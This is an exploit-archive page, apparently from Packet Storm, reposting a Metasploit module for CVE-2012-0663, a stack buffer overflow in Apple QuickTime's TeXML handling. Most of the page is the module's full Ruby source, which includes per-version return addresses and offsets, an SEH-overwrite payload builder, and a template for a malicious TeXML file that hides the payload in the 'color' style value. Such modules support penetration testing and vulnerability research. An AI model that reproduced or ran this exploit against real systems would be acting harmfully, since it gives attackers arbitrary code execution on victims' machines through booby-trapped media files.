Exploit the possiblities

Apple QuickTime TeXML Stack Buffer Overflow

Apple QuickTime TeXML Stack Buffer Overflow
Posted Jun 29, 2012
Authored by sinn3r, Alexander Gavrun, juan vazquez | Site metasploit.com

This Metasploit module exploits a vulnerability found in Apple QuickTime. When handling a TeXML file, it is possible to trigger a stack-based buffer overflow, and then gain arbitrary code execution under the context of the user. The flaw is generally known as a bug while processing the 'transform' attribute, however, that attack vector seems to only cause a TerminateProcess call due to a corrupt stack cookie, and more data will only trigger a warning about the malformed XML file. This Metasploit module exploits the 'color' value instead, which accomplishes the same thing.

tags | exploit, overflow, arbitrary, code execution
systems | apple
advisories | CVE-2012-0663, OSVDB-81934
MD5 | 85791f9a94c2dae702f38a6997745009

Apple QuickTime TeXML Stack Buffer Overflow

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'Apple QuickTime TeXML Stack Buffer Overflow',
'Description' => %q{
This module exploits a vulnerability found in Apple QuickTime. When handling
a TeXML file, it is possible to trigger a stack-based buffer overflow, and then
gain arbitrary code execution under the context of the user. The flaw is
generally known as a bug while processing the 'transform' attribute, however,
that attack vector seems to only cause a TerminateProcess call due to a corrupt
stack cookie, and more data will only trigger a warning about the malformed XML
file. This module exploits the 'color' value instead, which accomplishes the same
thing.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Alexander Gavrun', # Vulnerability Discovery
'sinn3r', # Metasploit Module
'juan vazquez' # Metasploit Module
],
'References' =>
[
[ 'OSVDB', '81934' ],
[ 'CVE', '2012-0663' ],
[ 'BID', '53571' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-095/' ],
[ 'URL', 'http://support.apple.com/kb/HT1222' ]
],
'Payload' =>
{
'DisableNops' => true,
'BadChars' => "\x00\x23\x25\x3c\x3e\x7d"
},
'Platform' => 'win',
'Targets' =>
[
[ 'QuickTime 7.7.1 on Windows XP SP3',
{
'Ret' => 0x66f1bdf8, # POP ESI/POP EDI/RET from QuickTime.qts (7.71.80.42)
'Offset' => 643,
'Max' => 13508
}
],
[ 'QuickTime 7.7.0 on Windows XP SP3',
{
'Ret' => 0x66F1BD66, # PPR from QuickTime.qts (7.70.80.34)
'Offset' => 643,
'Max' => 13508
}
],
[ 'QuickTime 7.6.9 on Windows XP SP3',
{
'Ret' => 0x66801042, # PPR from QuickTime.qts (7.69.80.9)
'Offset' => 643,
'Max' => 13508
}
],
],
'Privileged' => false,
'DisclosureDate' => 'May 15 2012'))

register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.xml']),
], self.class)
end

def exploit
my_payload = rand_text(target['Offset'])
my_payload << generate_seh_record(target.ret)
my_payload << payload.encoded
my_payload << rand_text(target['Max'] - my_payload.length)

texml = <<-eos
<?xml version="1.0"?>
<?quicktime type="application/x-quicktime-texml"?>

<text3GTrack trackWidth="176.0" trackHeight="60.0" layer="1"
language="eng" timeScale="600"
transform="matrix(1.0, 0.0, 0.0, 0.0, 1.0, 0.0, 1, 0, 1.0)">
<sample duration="2400" keyframe="true">

<description format="tx3g" displayFlags="ScrollIn"
horizontalJustification="Left"
verticalJustification="Top"
backgroundColor="0%, 0%, 0%, 100%">

<defaultTextBox x="0" y="0" width="176" height="60"/>
<fontTable>
<font id="1" name="Times"/>
</fontTable>

<sharedStyles>
<style id="1">
{font-table: 1} {font-size: 10}
{font-style:normal}
{font-weight: normal}
{color: #{my_payload}%, 100%, 100%, 100%}
</style>
</sharedStyles>
</description>

<sampleData scrollDelay="200"
highlightColor="25%, 45%, 65%, 100%"
targetEncoding="utf8">

<textBox x="10" y="10" width="156" height="40"/>
<text styleID="1">What you need... Metasploit!</text>
<highlight startMarker="1" endMarker="2"/>
<blink startMarker="3" endMarker="4"/>
</sampleData>
</sample>
</text3GTrack>
eos

texml = texml.gsub(/^\t\t/,'')

print_status("Creating '#{datastore['FILENAME']}'.")
file_create(texml)
end

end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

December 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    15 Files
  • 2
    Dec 2nd
    2 Files
  • 3
    Dec 3rd
    1 Files
  • 4
    Dec 4th
    15 Files
  • 5
    Dec 5th
    15 Files
  • 6
    Dec 6th
    18 Files
  • 7
    Dec 7th
    17 Files
  • 8
    Dec 8th
    15 Files
  • 9
    Dec 9th
    13 Files
  • 10
    Dec 10th
    4 Files
  • 11
    Dec 11th
    41 Files
  • 12
    Dec 12th
    44 Files
  • 13
    Dec 13th
    25 Files
  • 14
    Dec 14th
    15 Files
  • 15
    Dec 15th
    28 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close